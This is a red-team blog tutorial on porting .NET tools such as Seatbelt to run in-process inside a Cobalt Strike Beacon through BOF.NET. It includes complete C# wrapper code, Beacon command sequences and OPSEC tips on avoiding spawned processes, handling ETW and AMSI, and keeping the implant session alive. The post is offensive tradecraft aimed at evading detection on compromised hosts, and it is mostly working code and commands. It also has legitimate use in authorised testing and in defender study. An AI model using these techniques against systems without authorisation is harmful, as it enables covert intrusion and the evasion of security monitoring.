UPDATE: Since this post this functionality has been integrated natively into BOF.NET on my fork (see bofnet_jobassembly
and bofnet_executeassembly
). It is no longer required to modify .NET assemblies before execution.
Got a .NET assembly to execute but you need to avoid fork and run execution with Cobalt Strike (i.e., spawning a secondary process)? This post details a walk-through for porting existing .NET projects into something that can be run in-process through BOF.NET (shout out to @_EthicalChaos_), while avoiding any functional changes in that original assembly to capture its output. Seatbelt is used as an example.
Why you shouldn't do this:
- BOF.NET has the same caveats as normal BOF execution. It's going to lock Beacon (unless you use BOF.NET to execute it in another thread with
bofnet_job
), and if there are any unhandled exceptions, it's going kill your shell. - Potentially generates a lot of indicators in-process that could get you caught. This isn't really what BOF/BOF.NET was designed for.
How does the code work?
The code is a BOF.NET wrapper that takes any arguments and forwards them to the real program's Main()
function (to avoid hard coding). This wrapper also handles console output without changing output statements in the original code. By default, anything sent to the console output (e.g., with Console.WriteLine()
) will not be sent back to Beacon, and you need to feed it through BeaconConsole.WriteLine()
instead. This approach captures console output then sends it back to Beacon.
There are two versions of the wrapper included in this post:
- Option #1. Uses the existing thread, but console output is only returned once execution is complete.
- Option #2. Requires two new threads, but can return results as execution progresses.
The Code and Project Integration
The example provided here is for Seatbelt. Make sure you've downloaded and compiled BOF.NET following the project's instructions. This will give you two BOFNET.dll
files built for .NET 3.5 and 4.
Add Reference to BOF.NET
The BOFNET.dll
file needs to be added in as a reference to the project. Browse to where your compiled BOFNET.dll
file resides and add it. Make sure it is the correct one for the .NET version of your project. For Seatbelt it is .NET 3.5.
(Potentially) Modify Main to be Public
The wrapper needs to forward arguments to the Main() function of your target code which therefore needs to be callable. For this you need to ensure it has the public
access modifier. By default in Seatbelt this is private
so that needs to be changed as shown below.
Adding the BOF.NET Wrapper to Your Project
Add a *.cs file to the root of your project (e.g., BOFNET.cs
) with one of the two following code options. The filename doesn't really matter. Slight customisations in two locations may be needed to match the naming conventions in your target code:
- Line 8: The namespace should be the same as your target assembly, which here is
Seatbelt
. - Line 24 in code option #1 and line 32 in option #2: The class name should match that of the class where the
Main()
function resides in the target code. For Seatbelt it isProgram
.
Any other names for classes and methods below can stay as they are.
Code Option #1: Same Thread, Output Available Post Execution
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using BOFNET;
namespace Seatbelt // CHECK
{
public class Execute : BeaconObject
{
public Execute(BeaconApi api) : base(api) { }
public override void Go(string[] args)
{
try
{
// Redirect stdout to MemoryStream
var memStream = new MemoryStream();
var memStreamWriter = new StreamWriter(memStream);
memStreamWriter.AutoFlush = true;
Console.SetOut(memStreamWriter);
Console.SetError(memStreamWriter);
// Run main program passing original arguments
Program.Main(args); // CHECK
// Write MemoryStream to Beacon output
BeaconConsole.WriteLine(Encoding.ASCII.GetString(memStream.ToArray()));
}
catch (Exception ex)
{
BeaconConsole.WriteLine(String.Format("\nBOF.NET Exception: {0}.", ex));
}
}
}
}
Code Option #2: Two New Threads, Output Available During Execution
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using BOFNET;
namespace Seatbelt // CHECK
{
public class Execute : BeaconObject
{
public Execute(BeaconApi api) : base(api) { }
volatile static ProducerConsumerStream memStream = new ProducerConsumerStream();
volatile static bool RunThread;
public override void Go(string[] args)
{
try
{
// Redirect stdout to MemoryStream
StreamWriter memStreamWriter = new StreamWriter(memStream);
memStreamWriter.AutoFlush = true;
Console.SetOut(memStreamWriter);
Console.SetError(memStreamWriter);
// Start thread to check MemoryStream to send data to Beacon
RunThread = true;
Thread runtimeWriteLine = new Thread(() => RuntimeWriteLine(this));
runtimeWriteLine.Start();
// Run main program passing original arguments
Program.Main(args); // CHECK
// Trigger safe exit of thread, ensuring MemoryStream is emptied too
RunThread = false;
runtimeWriteLine.Join();
}
catch (Exception ex)
{
BeaconConsole.WriteLine(String.Format("\nBOF.NET Exception: {0}.", ex));
}
}
public static void RuntimeWriteLine(BeaconObject bofnet)
{
bool LastCheck = false;
while (RunThread == true || LastCheck == true)
{
int offsetWritten = 0;
int currentCycleMemstreamLength = Convert.ToInt32(memStream.Length);
if (currentCycleMemstreamLength > offsetWritten)
{
try
{
var byteArrayRaw = new byte[currentCycleMemstreamLength];
int count = memStream.Read(byteArrayRaw, offsetWritten, currentCycleMemstreamLength);
if (count > 0)
{
// Need to stop at last new line otherwise it will run into encoding errors in the Beacon logs.
int lastNewLine = 0;
for (int i = 0; i < byteArrayRaw.Length; i++)
{
if (byteArrayRaw[i] == '\n')
{
lastNewLine = i;
}
}
if (LastCheck)
{
// If last run ensure all remaining MemoryStream data is obtained.
lastNewLine = currentCycleMemstreamLength;
}
if (lastNewLine > 0)
{
var byteArrayToLastNewline = new byte[lastNewLine];
Buffer.BlockCopy(byteArrayRaw, 0, byteArrayToLastNewline, 0, lastNewLine);
bofnet.BeaconConsole.WriteLine(Encoding.ASCII.GetString(byteArrayToLastNewline));
offsetWritten = offsetWritten + lastNewLine;
}
}
}
catch (Exception ex)
{
bofnet.BeaconConsole.WriteLine(ex);
}
}
Thread.Sleep(50);
if (LastCheck)
{
break;
}
if (RunThread == false && LastCheck == false)
{
LastCheck = true;
}
}
}
}
// Code taken from Polity at: https://stackoverflow.com/questions/12328245/memorystream-have-one-thread-write-to-it-and-another-read
// Provides means to have multiple threads reading and writing from and to the same MemoryStream
public class ProducerConsumerStream : Stream
{
private readonly MemoryStream innerStream;
private long readPosition;
private long writePosition;
public ProducerConsumerStream()
{
innerStream = new MemoryStream();
}
public override bool CanRead { get { return true; } }
public override bool CanSeek { get { return false; } }
public override bool CanWrite { get { return true; } }
public override void Flush()
{
lock (innerStream)
{
innerStream.Flush();
}
}
public override long Length
{
get
{
lock (innerStream)
{
return innerStream.Length;
}
}
}
public override long Position
{
get { throw new NotSupportedException(); }
set { throw new NotSupportedException(); }
}
public override int Read(byte[] buffer, int offset, int count)
{
lock (innerStream)
{
innerStream.Position = readPosition;
int red = innerStream.Read(buffer, offset, count);
readPosition = innerStream.Position;
return red;
}
}
public override long Seek(long offset, SeekOrigin origin)
{
throw new NotSupportedException();
}
public override void SetLength(long value)
{
throw new NotImplementedException();
}
public override void Write(byte[] buffer, int offset, int count)
{
lock (innerStream)
{
innerStream.Position = writePosition;
innerStream.Write(buffer, offset, count);
writePosition = innerStream.Position;
}
}
}
}
Compile and Execute via BOF.NET
Once compiled you can use the .NET assembly through BOF.NET and pass in any arguments like you would for example when using execute-assembly
. There are two approaches in BOF.NET for executing assemblies each of which work differently with the code above:
bofnet_execute
: Code options #1 and #2 both return output post-execution. Beacon locks until completion.bofnet_job
: Code option #2 can return output during execution, but #1 still returns post execution. Beacon doesn't lock in either case. Uses a new thread. If using #2 a further (second) thread is used to feed output during execution back to Beacon, so it's less OPSEC-safe.
bofnet_execute Example
bofnet_init
bofnet_load /path/to/Seatbelt.exe
bofnet_execute Seatbelt.Execute WindowsFirewall
The main thing to note is for bofnet_execute
that Seatbelt.Execute
is the Namespace.Class
in the new *.cs file above. Anything after that is whatever arguments you want to pass.
bofnet_job Example
The following example uses code option #2 for obtaining output during execution. When "Console Data: True" is indicated through beacon_jobs
you can retrieve the output using bofnet_jobstatus <jobID>
as many times as needed until execution completes.
bofnet_init
bofnet_load /path/to/Seatbelt.exe
bofnet_jobs Seatbelt.Execute -group=all
bofnet_jobs
bofnet_jobstatus <jobID>
Limitations
- BOF.NET is now a reference, and therefore, to continue using the assembly through traditional execution techniques (e.g., direct execution or via
execute-assembly
) while still supporting BOF.NET execution you'll need to merge theBOFNET.dll
. Practically you can rely on Costura for this (remember to use version 1.6.2 for .NET 3.5). Obviously not needed if you're just using it through BOF.NET directly. - More of a BOF.NET related limitation, but you need to remember to deal with ETW and AMSI manually.
- You need to watch for assemblies that call Environment.Exit() as it will as expected, kill your process, and therefore, also your Beacon session. To mitigate this without code changes to the assemblies themselves see this post by MDSec (this code would need to be integrated into BOF.NET).